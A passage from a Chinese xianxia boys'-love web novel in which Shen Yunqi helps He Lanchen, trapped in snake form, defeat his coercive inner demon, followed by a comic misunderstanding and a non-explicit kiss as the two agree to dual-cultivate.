沈云戚在市冷宫寻了一圈,一遍遍的喊着他的名字,却未得到回答。 “贺兰忱。” “你叫我做什么?”伸手传来了熟悉的声音。 沈云戚惊喜回头,发现来者竟是穿着红色喜袍的心魔,他阴沉着脸,黑的几乎要滴出墨来,他大步上前,质问道:“谁让你到处乱跑的?你想逃?” 沈云戚脸上笑意骤然消失,道:“我不是找你。” “沈云戚,别在我面前玩欲擒故纵的把戏,若是你今日影响我大婚,看怎么修理你。”心魔上前一步,抬手便捏着沈云戚的下巴,恶狠狠的威胁道。 沈云戚抬手打开他的手,蕴含着精粹的灵力和修为,打断了心魔的胳膊。 心魔捂着自己断掉的胳膊,难以置信的看着沈云戚,道:“你竟还有金丹期的修为,你不是……”修为被我吸干了吗? 心魔将沈云戚作炉鼎,每每双修的时候,便使用功法,将两人的灵气留在自己丹田里。 最后炼化他,如此这般,沈云戚的修为便会日渐颓弱,按理说,此时沈云戚的修为应该已经只剩炼气期了。 沈云戚扬了扬下巴,道:“你个阳痿,老子会怕你?” “呵呵,说话竟如此粗俗。”心魔脸色变了几变,他的修为在沈云戚之上,之前不过是太大意了,所以才会被他打断了胳膊,此时心魔的手臂重新长好,嘴角嘤着坏笑,“很好,既然你的修为还在,那便再做我炉鼎,供我突破修为。” 沈云戚见他顶着贺兰忱的脸,却说出如此恶心的话,心中厌恶至极。 心魔朝着沈云戚扑来,他还想还手,却三两下被心魔禁锢住了,他双手被心魔在背后剪着,将他压在冷宫的木板床上,他的修为远在沈云戚之上。 心魔直接扯掉喜袍的腰带,绑住他的手腕。 沈云戚愤怒的看着他,道:“你真让我觉得恶心。” “很好,你的爱也让我觉得恶心。”心魔捏着他的脸颊,黑沉沉的眸子不知道在想什么,有些许的失神。 沈云戚听到这话,也不由顿住,贺兰忱的心魔为什么会说出这样的话? 心魔的产生也源于修士本人,修士害怕的东西,无法摆脱便会成为心魔,有些修士杀了人会有愧疚感会生出心魔,有些人害怕别人复仇会生出心魔…… 就算在现实中,那些无法走出的家庭阴影和校园暴力的应激创伤,其实都可以称之为心魔。 贺兰忱的心魔是如何产生的? 沈云戚听到心魔这么说的时候,心下一颤,是因为他的爱让贺兰忱生出了心魔吗?可是他从来没有说过。 他是喜欢贺兰忱的,或许从前世开始就喜欢他的,只是那时候的他活的太辛苦了。 他没有足够多的爱也没有足够多的钱,所以会在乎得失,会想要付出了爱之后,得到对方同等的回报的爱。 可是谁又能知道自己能不能得到对方的喜欢了? 他不敢喜欢别人,只能爱着自己,只能悄悄的喜欢别人。 贺兰忱心里有喜欢的人,他发现了自己的喜欢他,所以他的爱对贺兰忱来说是负担吗?所以才会有心魔? 沈云戚发现脑袋里空空的。 灵府深处,一个黑色的触手从金色的种子里伸了出来。 不对,沈云戚看着即将亲上来的心魔,狗屁的直男啊,你是直男要跟别人结婚了,喜服加身还来亲我?还打算睡我? 贺兰忱的心魔应该是害怕自己变成个渣男!一定是怎样的。 “臭渣男,别碰我。”沈云戚骂骂咧咧,一口咬在心魔的鼻子上。 心魔疼的连连后退,咬牙切齿道:“看来我得给你上点手段。” 他从空间戒指中取了个金色的口枷出来,正要替他扣上的时候,忽然一只黑色的小蛇冲了出来,一口咬在心魔的手腕上。 心魔疼得猛一甩手,小蛇被他丢了出去,撞在了是墙壁上。 小蛇疼却不退缩,继续冲上去咬住心魔。 心魔疼的大喊大叫,最后倒了下去。 沈云戚见状,看着那个小蛇爬到他身后,咬着他手腕上绑着的腰带。 他目光一动,看着小蛇努力的样子,问道:“贺兰忱,是你吗?” 小蛇忽然一顿,像是被雷击中一般,混沌的目光变得有些清明了,不过他口不能言,继续努力帮他解开手上的布带。 沈云戚手上解放了,小蛇却害怕沈云戚要抓他一般,一溜烟就跑了。 第 83 章 我一眼就能认出你。 沈云戚发现自己追不上他, 当即倒在床上,呻吟了一声:“好痛。” 他似真的晕过去了,双眸紧紧的合着, 躺在床上一动不动。 准备走人的小黑蛇听到身后的动静, 回头看他, 发现沈云戚真的晕过去了,顿时急的像是热锅上的蚂蚁, 冲回他身边,疯狂的蹭他的头。 昏迷过去的沈云戚却一动不动, 小蛇急的不知如何是好,在他身上跑来跑去,张口想要咬咬他,可又害怕自己有毒,反而让沈云戚中毒落在心魔的手中。 小蛇停在原地的时候, 垂落在一旁的手动了动, 手指一点点的朝着他靠近。 “抓到你了。”沈云戚的声音响起,同时也抓住了小蛇的身体。 小蛇立即挣扎起来,沈云戚却发现小蛇受了伤,立即关心道:“你的骨头是摔断了吗?” 中间一截,像是断开了一般, 分明是之前被心魔摔出去时砸的。 小蛇也不挣扎了,躺在沈云戚的手中,奄奄一息的垂着脑袋。 “贺兰忱?你是贺兰忱吧。”沈云戚拿着手指摸了摸他的脑袋。 小蛇抬了一下脑袋,随后又安详的倒下,一动不动,既不想挣扎,也不愿承认。 沈云戚从床上起来, 一边对小蛇说道:“就算你不承认我也知道是你,我一眼就能认出你。” 小蛇顿时瞪大了眼睛,像是不可置信一般。 沈云戚又说:“你别不信,以前在无相寺的时候,你才说两句话,我就知道你是贺兰忱了。” 小蛇眼睛眨了眨,不太想得明白为什么戚宝只听他说两句话就能认出他? “没有人会像你。”他又补了一句。 沈云戚发现心魔的脸上已经没有了贺兰忱的五官,变成了一张没有五官的面皮了。 是因为他找到了真的贺兰忱了吗? 沈云戚道:“没事,我已经会帮你消灭心魔,带你离开这里的。” 小蛇也没什么表情,只是乖乖躺在他的手心里。 沈云戚回到天元殿,给贺兰忱的小蛇身体包扎了一下,细长的小黑蛇中间绑了个蝴蝶结,引得小蛇生气的扭动起来。 “你为什么会变成小蛇?”沈云戚问道。 小蛇不言语,因为他说不了话。 沈云戚又问:“你的心魔是什么东西?好奇怪好变态,说话好难听,但是他修为比我高,我暂时打不过他,我该怎么办了?” 小蛇似乎并没有听到沈云戚的话,依旧在与空气斗智斗勇。 沈云戚大概发现了一些问题,贺兰忱是不是保留了野兽的思想,时不时会忘记自己是谁,所以才不愿与他说话。 这样可不行,他一定要记得自己是谁,不然会永远沦为蛇。 “贺兰忱,你一定知道怎么对付你的心魔吧?”沈云戚又叫了一下他的名字,小蛇终于不扭了,而是眨了眨眼睛看着沈云戚,只听沈云戚又说,“因为你是无所不能的贺兰忱啊。” 小蛇终于无视了包扎布条,直起身体来,似乎在思考什么。 小蛇动了起来,推着一旁的茶盏。 “你渴了吗?”沈云戚给他倒了一杯水。 小蛇立即用尾巴沾了沾水,沈云戚惊讶道:“你现在用尾巴喝水的?” 小蛇是做不了表情的,但是他大大的翻了个白眼,随后用自己不熟练的尾巴在桌面上歪歪扭扭写了两个字:【D0】。 “这是什么东西?的哦?”沈云戚问道。 小蛇疯狂摇头,你快点动动脑子。 “帝陵?”沈云戚又读了一遍,“你是说帝陵里有对付心魔的东西?” 小蛇疯狂点头,对对对,你太聪明啦! 既然帝陵里有对付心魔的法子,沈云戚自然不会继续在皇宫中逗留,他将小蛇装在自己怀里的口袋中,朝着帝陵出发。 帝陵依旧是那般气派,守山大阵此时不知道被碎了,一人一蛇到达此处如入无人之境。 不过到达了祭台之时,沈云戚遇上了身着婚服的心魔和他的新娘风谣。 两个人拜了祖宗,对拜苍天的时候,便看到沈云戚踩着台阶来了。 新娘子风谣率先开口了,她也是生着一张没有五官的脸皮,声音却清脆娇蛮,道:“沈云戚,你来这里做什么,我的婚礼不欢迎你。” 沈云戚不言,继续往前走。 帝陵的祭坛,上面的嗜血阵法一如当年未启的模样,他目光在上面扫了一圈。 心魔怒道:“沈云戚,你若是再往前走一步,当心我不顾往日情分,让你血祭我大婚。” 风谣听到此话,不由开心道:“忱哥哥,那我们杀了他吧。” 心魔似乎有些许犹豫,风谣又催促道:“若是你不动手,那我可要亲自动手了。” 话音落下,风谣直接长鞭袭来,直直的朝着沈云戚的面门而来,九紫雷霆鞭上长满了倒刺,沈云戚伸手抓住了她的鞭子,利刃扎进他的手心,被扎破的皮肤流出血来,血滴在祭台之上。 风谣嗤笑一声,道:“敢与我为敌,杀无赦。” 沈云戚目光从祭台之上移开,抬眸看向风谣,漆黑的瞳仁中染着肃杀的冷意,身为魔族与生俱来的压迫感此时在他身上骤然爆炸开来,威压从天地间铺开,长发无风自动,他一字一句应道:“真巧,你们在这里。” “沈云戚,你给我回去,否则我护不了你。”心魔怒道。 风谣问:“你什么意思?” “我来这里也是来杀你们的。”沈云戚道。 风谣先是一惧,而后怒道:“就凭你?” 她要抽回自己的本命法器,却被沈云戚用力一扯,抢了过去。 天命出鞘,剑光在空气中闪过一个漂亮的剑花,随之而来的便是九紫雷霆鞭断成了五节。 心魔和风谣没有五官的脸上似乎露出了目瞪口呆的表情,但这都不是沈云戚在乎的,他的目光落在祭台之上,那张如人脸的祭台,吃了沈云戚的龙血,流光开始涌动。 天地风云变色,帝陵三百年未开的门,此时缓缓打开。 心魔惊道:“你竟然打开了帝陵。” 风谣道:“别管他了,忱哥哥,我们去拿帝王传承吧,一定是我们大婚才打开了帝陵。” 心魔看了沈云戚一眼,跟着风谣进了帝陵。 如原剧情一般,贺兰忱和风谣抛下了打开了帝陵的沈云戚,去抢夺贺氏王朝的帝王传承。 可一切又不像原文,沈云戚不是那个被贺兰忱虐了而不自知的傻子,他不会当他的炉鼎,就算他会一厢情愿的爱上贺兰忱。 可他的爱不是对方伤害他的理由。 爱与自由,都在双方平等基础上的。 沈云戚将怀里的小蛇拿出来,小蛇看着他手上的伤,顿时心疼不已,小舌头在上面舔了舔,似乎在问他疼不疼。 沈云戚见他耷拉着脑袋,十分难受的样子,不由觉得有趣,道:“真是疼死我了,哎,这一切都是为了让你能战胜心魔,你可不要辜负我啊。” 小蛇立即支棱起来,心中燃起熊熊烈火,一定要杀了那个可恶的家伙! “那我们现在去拿帝王传承?”沈云戚听他们是这么说的。 小蛇摇摇头,不是的,你要去拿圣血,只有你拿到圣血后才能战胜贺兰忱。 沈云戚沉默片刻,道:“可是那是你的心魔,你需要自己去战胜他。” 小蛇:…… 呆住了,他半响没有反应过来。 沈云戚竟然能听懂他的意思,他明明已经失去了原本的模样,甚至都无法说话了,他竟然还能听懂。 莫名的,他心里备受鼓舞。 沈云戚道:“那我们分头行动,我去找圣血,你去阻止心魔拿到帝王传承,虽然我不知道那是什么东西,但是我觉得那应该是你的。” 没错没错,那就该是我的。 你也是我的! 小蛇顿时从沈云戚的手中下地,朝着帝陵深处而去。 沈云戚知道圣血是什么东西,就是五个位置的星灵融合在一起,代表着整个世界的力量,汇聚一起成为新神! 他们小时候取走了三个,剩下的两个不知所踪。 沈云戚决定还是再去看看剩下的两个星灵是否出现。 他如记忆那般进了棺材里,朝着最底层的秘境而去,可一直没有人跟他说过,圣血那层只有毫无修为的凡人才可以进入。 他们小时候尚未修仙,自然可以进去。 原文里的沈云戚被仇恨蒙蔽双眼的贺兰忱当做炉鼎,吸干了修为,最后甚至还放干了身体一半的血,跌跌撞撞的拖着半截入土的身子去拿到了圣血。 现在的沈云戚是进不去的。 他被丢到了无尽海域。 每日万道雷劫倾天而下,海水沸腾,苍穹碎裂。 沈云戚看着雷电落下,下意识的去挡,可是他很快反应过来,这一切都无济于事。 好在,每十年都有一次雷电消停的日子,便是今日。 雷霆尚未落下,便被天道遣散。 沈云戚从水里冒出头来,看着海域中央唯一的陆地,那是天柱。 一个巨大的柱子从海底长出来,此时已经冲入云霄了,比小时候看到的那次更为震撼。 他尚未从震惊中回过神来,便发现脚下有什么游动的东西朝着天柱汇聚而去,一股不可名状的恐怖从心底生出。 那是什么东西? “沈云戚?”苍老的声音在呼唤他的名字。 沈云戚怔了一下,道:“你是谁?” 老者声音中带着几分愉悦,道:“当真是阿钦的儿子啊。” “你认识我爹?”沈云戚问道。 老者徐徐道来:“自然,本尊是你爹的师尊。” “你……你是帝刍仙尊!”沈云戚喊出了他的名字。 “是阿钦跟你说过我吗?”帝刍仙尊声音带着些许疑惑。 沈云戚不好回答,又问:“师祖,你为何才此处?” 苍穹之上,一只巨大的手朝着他伸来,沈云戚犹豫了片刻,抓住他的手指,脱离了海域,他仰头看苍天,却不见仙尊阵真容。 “我不在此处,这只是幻想,我在虚妄之中。”帝刍仙尊应道。 沈云戚不解,又问:“那师祖找我,所谓何事?” “师门不幸,有人为祸苍生。”帝刍仙尊道。 沈云戚心里咯噔一下,问道:“那师祖是要清理门户了吗?” “此事需要你来,你是应劫之人。”帝刍仙尊交代完毕这些话,忽然消失不见了踪影。 沈云戚大喊道:“师祖!师祖,你说的为祸苍生的人是谁?” 虚空之中再无人响应他。 师祖去哪里了? 沈云戚还想去寻,便看到两道影子从空中而降,重重的摔在了海里。 一蛇一人。 小蛇此时已经身形暴涨成了巨蟒,而那心魔则是生出了脸来,两个人在海中翻涌打斗。 黑蟒已经打红了双眼,那心魔则是发出了桀桀怪笑道:“你这个废物,等我杀了你,我就会成为你,你有帝王传承却不去学,你永远比不上我。” “吼!”黑蟒长大血盆大口,冲着他咆哮。 心魔却直接取出了命剑轮回,朝着黑蟒劈了过去,长剑掀起了千层浪,雷灵根冲灵在长剑之中,引来了天雷之力。 “不好。”沈云戚见状,立即冲上去,替贺兰忱挡下一击。 心魔此时修为大涨,将沈云戚直接击落在海水里,心魔嘲笑道:“就凭你,还敢与我为敌,贺兰忱的身体是我的,你也是我的。” 黑蟒似乎没了心智,毫无章法的朝着心魔袭击而去,仔细看来,那不过是野兽的本能,并没有任何修士的行为。 沈云戚看到心魔已经拿到了贺兰忱的脸,便知道贺兰忱又一次在心魔中迷失了自我,他无法认可自己,他被心魔占据了,他觉得心魔就是他自己。 “贺兰忱,你要撑下去,你不可以输给他!难道你要让心魔成为你,然后欺负我吗?你不是说过,会一直保护我的吗?”沈云戚冲着那黑色的大蟒蛇喊道。 贺兰忱似乎有了些理智,心魔的脸忽闪忽闪的。 沈云戚忍无可忍,朝着海底钻了下去。 他们必须要先离开这里,当年师伯就是带着他们从海底离开的。 等到万道雷劫来时,他们一个都逃不掉。 “哟,看看他,已经受不了这么懦弱的你,准备死在这里,桀桀桀。”心魔继续嘲笑着。 贺兰忱回过神来,朝着海里看去,发现那里已经没有沈云戚的身影了,只有海面上的水泡泡。 “戚宝!”贺兰忱喊了一声,可是他却并未给他响应。 这一天似乎过得很快,天边很快便汇聚来了无尽的劫云。 为了惩罚堕落的神明,每天都要经历无数的雷劫,将他困于这方寸之间的禁地。 心魔趁着贺兰忱失神的瞬间,拿钱轮回,朝着他的眉心灵府所在的位置扎下去。 “去死吧,废物。”心魔桀桀怪笑,狂傲不可一世。 贺兰忱幽幽的看着心魔,哼笑起来,像是看到什么天大笑话一般:“该死的是你才对。” 黑色的蟒蛇身形暴涨,长大血盆大口,将剑也吞了,心魔也吞了。 吞噬,咀嚼,捻碎…… 将这些年不断困着自己的心魔嚼碎,撕扯,他品尝到了痛苦的滋味。 心魔的苦楚也抵不过永远的失去沈云戚。 心魔在他脑海里大喊着:“不可能,不可能!明明是我练就了帝王传承,你根本不是我的对手。” 随后,心魔再也无法发出任何一点声音。 贺兰忱吐出了一团血肉模糊的黑色物体。 “我才是这个身体的主人。”贺兰忱目光如冰刀一般,心念一动,轮回便随他意动,引来浩天的雷劫,直直的冲向心魔而去。 心魔抵挡不了雷霆之力,瞬间被劈成了烟灰,消失无踪。 第 84 章 【绝品壮阳丹,一粒顶十…… 贺兰忱钻进水里, 寻找戚宝的身影。 帝王传承是贺氏王朝传承下来的先天功法,他们先祖曾效忠于一位神明,此功法一直流传于修真界, 学会之后便此界无敌, 尤其是在天柱断裂后, 成神之路断绝后。 此功法便成了所有修士趋之若鹜的圣典。 十三年前,贺兰忱同沈云戚来到帝陵中时, 便得到此传承,可是他心魔作祟, 一直没学。 心魔从那时候就出现了。 他看过小说,原文的贺兰忱与沈云戚的爱恨纠葛,从一开始相遇误把小金龙沈云戚当神兽,想要契约他,却被沈云戚立了反契。 沈云戚不知渡妄教他的不是生死契, 而是婚契。 两个人便莫名成了夫夫, 两个人一开始度过了很快乐的一段时光,从小被仇恨教育一心复仇的阴暗批贺兰忱逐渐爱上了天真烂漫心怀天下的沈云戚,两个人在小龙发情期双修了,后来度过无数次快乐的双修。 直到贺兰忱知道沈云戚的父亲是害得山河王朝成为魔族血肉的魔尊之后,一切都变了。 他爱沈云戚, 又恨他,他想复仇,以爱之名行虐待的行为,拿沈云戚当炉鼎,冷漠的待他,最后害他快没了命,最后决裂。 他就是那时候看到了两个人的结局, 害怕这一切落在他们的身上。 心魔引将他心底的心魔勾了出来,强化了它。 说它是心魔,其实更像是原文的贺兰忱。 贺兰忱被困于心魔之中,便失去了自我,他不知道自己是谁,他变成了一条蛇,浑浑噩噩的在皇宫中阴暗的爬行,他不知道自己在皇宫中生活了多少年,可能很久,也可能很短。 他被心魔欺负过,打得半死丢在了枯井之中,之后他就再也不敢在皇宫中乱跑了,躲在一个阴暗的角落里。 直到他看到一个熟悉的身影出现在东宫,他一直喊着贺兰忱的名字。 他便一直跟着他,他好奇,为什么这个人一直在找贺兰忱?找那个可恶的狗皇子? 他悄悄的跟着他,从东宫追到了藏书阁,又从藏书阁跟到了东宫。 狗皇子贺兰忱出现了,他想要欺负他,小蛇不愿意了,无论如何都要将他救下来,他被摔得肝肠寸断,他以为自己要死了。 可是眼前的人却喊他叫:“贺兰忱。” 他不过是一条蛇,怎么可能是那个可恶的狗皇子? 他不想面对眼前的少年,想跑,可他却晕过去了。 沈云戚无比笃定的告诉他,他就是贺兰忱,他一眼就能认出他,就如小时候初见一般。 贺兰忱这时心智才回来,他确实是贺兰忱,那个顶着他的脸的人是心魔。 沈云戚可以一眼认出他,他怎么可以丢掉自己? 他曾经发过誓,一定会好好保护他的。 贺兰忱不断的往海底钻去,一定要带着戚宝离开这里。 他在漆黑的海底看到一条金色的小龙,贺兰忱赶紧游过去,他现在尚未恢复人的模样,只能围着他打转。 “戚宝,你快醒醒。”贺兰忱道。 沈云戚睁开眼看着他,金灿灿的瞳孔十分漂亮,他似乎生气的,又朝着更深的海底游去。 “戚宝,你怎么了?”贺兰忱追着他的身影。 沈云戚憋着一口气,继续往下,他要离开这个地方。 他是知道如何离开无尽海域的,可是现在无论他下潜多少米,都找不到出口。 “戚宝,你怎么不理我?”贺兰忱有些着急的问道。 沈云戚继续往下游去,贺兰忱忽然缠着他,一龙一蛇纠缠着,变成了一个巨大的麻花。 沈云戚怒道:“你别缠着我。” “为什么?”贺兰忱又恢复了嬉皮笑脸骚话不断的本性,“快点帮哥哥变成人,不然我们回不去了。” 沈云戚歪了一下脑袋,恍然大悟,原来贺兰忱现在不是人的形状,所以回不到现实。 沈云戚问:“那你要怎么才能恢复人形?” 贺兰忱笑:“终于愿意搭理我了?” 沈云戚思考起自己第一次变成龙的时候,无法变成人,便问:“是要带你泡灵泉才可以吗?” “看过青蛙王子吗?”贺兰忱也不知道如何才能变成人,尽瞎说,“需要真爱之吻。” 沈云戚犹豫了片刻,很快便从龙变成了人,黑蛇的身体还缠绕着他。 贺兰忱有些尴尬,道:“我再……” 话音未落,沈云戚便捧着他的脑袋,亲了上来。 贺兰忱震惊的瞪大了眼睛,他竟然将自己的玩笑话当真了,他竟然真的亲了自己? 深冷的海水从身体退去,笼罩于心头的阴云也消散,满身的黑色鳞片退去,他的手脚长了出来,眼前的戚宝闭着眼睛,似乎尚未发现他已经恢复成了人的模样。 贺兰忱伸手搂住沈云戚的腰,加深了这个吻。 他的嘴唇好软好甜,他不想让此刻消失,就这样永远在一起好了。 戚宝,是你让我找回了自己。 他的手从腰往上,按住他的脑袋,将他压向自己,彼此唇瓣相互嵌入,呼吸交缠,沈云戚似乎不太适应这样的亲吻,他张口想呼吸,贺兰忱顺势得寸进尺。 交换了更多的东西。 沈云戚睁开眼睛,看着眼前的人,随后又缓缓闭上眼。 就让时间停留在此刻好了。 荒古圣地中,老人参那是急的满头大汗,这两个小家伙就这么昏迷了,怎么都叫不醒,若是两人在此陨落可如何是好啊? “吃点人参,续一口真气。”老人参走到沈云戚身边,想要掰开他的嘴给他喂点东西。 他的手尚未碰到沈云戚,便被一股无形的力量弹开了,老人参哎哟哎哟的喊了几声,随后人形消失,变成了一棵人参。 沈云戚比贺兰忱先睁开眼睛,他坐起身来,看着周围的环境。 原来他们尚在荒古圣地之中。 之前心魔中幻化出来的无尽海域竟是假的。 沈云戚他抬手摸了摸自己的嘴唇,他、是不是在幻境里亲了贺兰忱? 元神交融的滋味,无比激荡的刺激的感觉。 如触电般,他还以为天雷降下来了,将他劈得神魂出窍了。 现在看来,并不是。 并不是真的亲了他的唇瓣,可此时嘴唇上却依旧有微微酥麻的触感。 “哇,你在胡思乱想什么?”沈云戚现在有些憋闷。 贺兰忱就躺在离自己身侧,他尚在昏迷中,没有醒来的意思。 沈云戚伸手摸了一下他的额头,查看了一番他的灵府,发现他的识海拥有一股浩瀚的力量,身体的经脉正在运转着灵力。 他的修为正在突破,得益于克服了心魔,他的大境界从金丹直接突破至出窍初期,此股巨大的灵力尚未停歇,继续冲击更强的境界。 纵然是在冲击修为的紧要关头,他都没有对他有任何防备,将自己的灵府识海对他开放。 可是,沈云戚不想看他冲破境界了。 他闷闷的双手环胸,生气的想着。 到底谁才是主角?为什么他这么厉害,自己就这么不行了? 沈云戚就在一旁守着,从贺兰忱的空间戒指里寻一些丹药,等他醒来的时候可以巩固一下修为。 这一找,沈云戚倒是找到了一个奇怪的东西。 他看着手中丹药的名字,不禁陷入沉思。 贺兰忱的心魔是什么东西? 沈云戚看了看手中的丹药,又看了一眼陷入沉睡中的贺兰忱。 心说,这是天生的,还是后天的? 怎么都修仙了,还会出现这种问题? 沈云戚百思不得其解,僵坐在原地,几乎成为了雕塑一般。 不知时间过去多久,贺兰忱已经巩固了修为,缓缓睁开眼睛,入目便是沈云戚坐面色怪异的看着他。 贺兰忱揉了揉眉心,坐起身来,问道:“怎么了?” “你没事了吧?”沈云戚关心道。 贺兰忱颔首,道:“此次凶险,多亏了你在。” “哦。”沈云戚有些冷漠的应了声。 贺兰忱心中怪异,不明白戚宝为什么看上去有些不一样了,便问:“对了,你克服了你的心魔了吗?” 沈云戚瞥了他一眼,道:“我没有心魔。” 贺兰忱若有所思的点点头,道:“那就好。” 沈云戚又瞥了一眼贺兰忱,目光上下打量着他,贺兰忱对上他怪异微妙的目光,不由挑眉,道:“你干什么用这样的眼神看我?莫不是爱上哥哥了吧?” “……你吃点丹药巩固一下修为吧。”沈云戚收回目光,眼底还有些同情。 贺兰忱心里那叫一个奇怪,抓心挠肝的难受,他随意吞了点丹药,发现沈云戚又悄悄看他,他笑问:“干嘛一直这么看哥哥?是不是忽然发现哥哥特别帅。” 沈云戚欲言又止,像是下定了什么决心一般,道:“方才你没有醒来时,我翻了你的空间灵戒。” “哦,多大点事,我的就是你的,灵戒送给你都可以。”贺兰忱粲然一笑。 沈云戚脸色有些奇怪,拿出来那瓶丹药,递到他手上,道:“我不是故意发现你的秘密的,现在你也克服了这个心魔,以后应该会慢慢好起来的。” 说罢,在贺兰忱惊讶的目光中,沈云戚安抚的拍了拍他的肩膀。 贺兰忱看清楚了手中的丹药名,上书:【绝品壮阳丹,一粒顶十晚】。 “靠,这是什么鬼东西啊?”贺兰忱脸色大变,脑袋空白了一阵,忆起这东西的来由,“是师尊给我的。” 沈云戚抿了抿嘴角,拍了拍他,道:“我不会用有色眼镜看你的。” 贺兰忱无语凝噎。 你现在已经用有色眼镜看我了!而且这是根本没有的事情。 先收起你眼中的同情! 第 85 章 双修搭子 那瓶药, 小心翼翼的塞进他的手中。 贺兰忱看了看手中的药瓶,又看了看面前将脸撇开一边的沈云戚。 他抿着嘴角,不知道是憋笑还是怎么地。 贺兰忱终于感同身受的明白, 为什么戚宝总是叫渡妄坏爹了! 他是真的坏, 真的要被他坑死了。 “戚宝, 我的心魔不是这个,这个药我也没有用过。”贺兰忱疯狂解释道。 沈云戚站起身来, 故作轻松的说道:“我们要找机会离开此处,否则封印修复了, 我们便再也出不去了。” 贺兰忱黑着脸,心说你转移话题的方式好僵硬啊。 沈云戚起身去查看封印修复情况,不料却一脚踩到了老人参,他顿时一惊,道:“参爷爷, 你怎么了?” 老人参此时完全没有动静, 躺在地上一动不动。 贺兰忱也追了过去,将老人参从地上捡起来,查看了一番,发现他人参须七零八落的,像是被狠狠的打了一顿:“参爷爷肯定在我们与心魔斗的时候, 为了保护我们被那个妖僧害了。” 这样的推测完全符合常理,沈云戚也赞同,道:“我们把参爷爷带回去,找机会救他。” “我给他浇点灵泉水。”贺兰忱赶紧从同心环中拿出装满灵泉的瓶子,给参爷爷补充灵气。 老人参虽然吸收了灵气,却丝毫没有要活过来的意思。 沈云戚道:“我们需要快些离开这里才行,回去找爹, 爹肯定知道该怎么办。” 两人赶紧到圣地的阵眼处查探,这一查不得了,此处的封印修复速度比他们预想的快得多,他们若是修炼,就算疯狂嗑药都赶不上此处修复的速度。 沈云戚愁眉紧锁。 贺兰忱沉默了半响,回道:“我不需要用壮阳颗粒,我的心魔也不是阳痿。”说这话说的咬牙切齿。 任谁年纪轻轻就被爱慕对象当做阳痿,都会破防的好吗??他真的超在意的! 沈云戚也没有听,立即将参爷爷装灵泉中泡着,放进贺兰忱的空间里。 “现在你的修为如何了?”沈云戚问。 贺兰忱内探了一下,看着内丹里充裕的灵气,有气无力的回答道:“已经是元婴后期了,再练练应该就能出窍了。” 语气中没有丝毫的喜悦,只觉得纳闷。 沈云戚摸了摸下巴,若有所思道:“那你现在应该可以离开此处了。” “那你怎么办?”贺兰忱问。 “我?我要在此闭关修炼,总有一天能比你厉害的。”沈云戚正色道。 贺兰忱欲言又止,最后沉默垂下眼眸。 沈云戚也悄悄看了他一眼,发现他静默不语,也默默闭嘴。 无声的气氛在两个人之间弥漫着。 贺兰忱还在纠结阳痿的事情,想着想着,他觉得自己又要有心魔了。 心魔之中的时候,沈云戚说他一眼就能认出他,这是为什么? 他就在自己身边,是不是可以问问他? 沈云戚托着下巴,手肘撑在膝盖上,眼珠子转了转,又转了转。 他有些郁闷的想着,说什么不能每次都靠爹爹,可以靠老公。 根本靠不住。 如果他一个人在圣地中,他得闭关多少年,才能出去? 他身上尚有未知原因导致的修为倒退。 沈云戚又偷看了贺兰忱一眼,他为什么不说话?是不是真的打算抛下他,先从圣地离开? 他若是真的选择要走的话,也没事。 他肯定会找他爹来救他的! 还是爹可靠。 或许是看他太久没有挪开目光,贺兰忱抬眸的时候与他撞上了个正着。 贺兰忱顿时像是炸毛的猫一样,立即解释:“我真不是!” “行,知道了。”沈云戚点点头。 “……”贺兰忱与他所思所想都不在一条在线。 两个人大眼瞪小眼,沈云戚忽然道:“不然这样吧,试试。” “试试?什么?”贺兰忱问。 “双修。”沈云戚脸色平淡的开口。 若是修仙不追求力量,还追求什么? 沈云戚说服了自己,他不甘心比贺兰忱弱,凭什么了? 贺兰忱哆嗦了一下,声音都变了强调:“双、双修?” 前来泉水觅食的七彩灵鸟,被修士吓得四散飞去。 灵力充裕的圣地,清风吹拂,树叶沙沙的响着。 树下两位少年,此时都没有人继续开口了。 沈云戚有些恼火,他都这么主动了,为什么他的回答竟然是这个? 他站起身来,准备离开。 圣地这么大,指不定有什么传承等着自己,总比跟一个靠不住的“阳痿老公”在一起好。 他忍不住想,他爹知道这件事吗? 贺兰忱见他转身离开,赶紧起身追上去,拉住他。 “干嘛?”沈云戚想要甩开他。 贺兰忱垂眸看他,认真的问道:“你、不是开玩笑的吗?” “嗯,开玩笑的。”沈云戚目光瞥向一旁。 反正被拒绝了,那就当他是开玩笑的吧。 贺兰忱亲上来的时候,沈云戚惊了一下,连忙往后退了一步,一只手抵在他胸膛,警惕的打量着他。 贺兰忱有些不解的看着他,问道:“你躲什么?” “我们只是双修,你为什么要亲我?”戚宝怪异的问道。 贺兰忱憋了一下,道:“我又不是同性恋,搞这种事情,没有感觉。”?沈云戚脸上有些微微发烫,憋了半响,憋出来一句难听话:“原来你真的是阳痿啊。” 贺兰忱额角抽了抽。 沈云戚目光落在他的嘴唇上,忽然发现自己并没有做好准备,赶紧摆手后悔道:“你不行就算了,我换个人双修好了。” “你想换谁啊?”贺兰忱咬着后槽牙,声音努力显得平静一些。 沈云戚思考了片刻,脑海里没有想出来一个能用的人。 至少在这个地方,没有更符合的人了。 可能连人都没有。 他思来想去还是觉得贺兰忱更有用一些,虽然他可能存在那种问题。 但是修炼的天赋超群,想必双修也是事半功倍,一日千里。 沈云戚这么想着,便用考虑的眼神看着贺兰忱,宛如在打量货物一样。 “那个,你要不要先吃点丹药,我怕……”沈云戚试探着询问。 这态度教贺兰忱十分恼火,咬牙切齿申明道:“我,不是,阳痿,我很硬。” “那以后你会开后宫吗?”沈云戚转移话题。 贺兰忱咬牙切齿道:“不会。” “那你会觉得勉强吗?要不还是算了?”沈云戚又问。 贺兰忱道:“不会,不勉强,你还要不要从这里出去了?” 他可以清晰的感受到,戚宝似乎后悔了。 “那就好。”沈云戚听到了他的保证,才终于放心下来。 贺兰忱盯着他看了半响。 他也并不是很想这样就跟他睡,可是又不想他考虑跟别人双修。 如果要利用,那也只能利用他,他才是对他来说,最有用的那个! 沈云戚思索了片刻,安心下来,道了句:“那来吧,以后我们就是双修搭子,嗯,你喜欢的是风谣吗?” 贺兰忱不想听他废话了,直接堵住了他的嘴巴。 沈云戚立即闭上眼睛,柔软的触感,与心魔中那种神魂纠缠的亲吻不一样。 鼻尖可以闻到他身上淡淡的香味,很软。 沈云戚微微战栗,捏紧了衣摆,有些紧张。 很快,贺兰忱单手压住了他的后脑勺,将他押近他,两个人亲吻的更加密不透风了。 他从浅浅的温柔的接触,变得强势,舌尖撬开他的牙冠,舌头伸进他的嘴巴。 戚宝有些不适,从未跟人这么亲密过,需要做到这种程度吗?他心中有些想退缩,可是此时却无法退开,亦不敢睁开眼睛。 空气中都发出了“啧啧”的水渍声,格外的惹人注目。 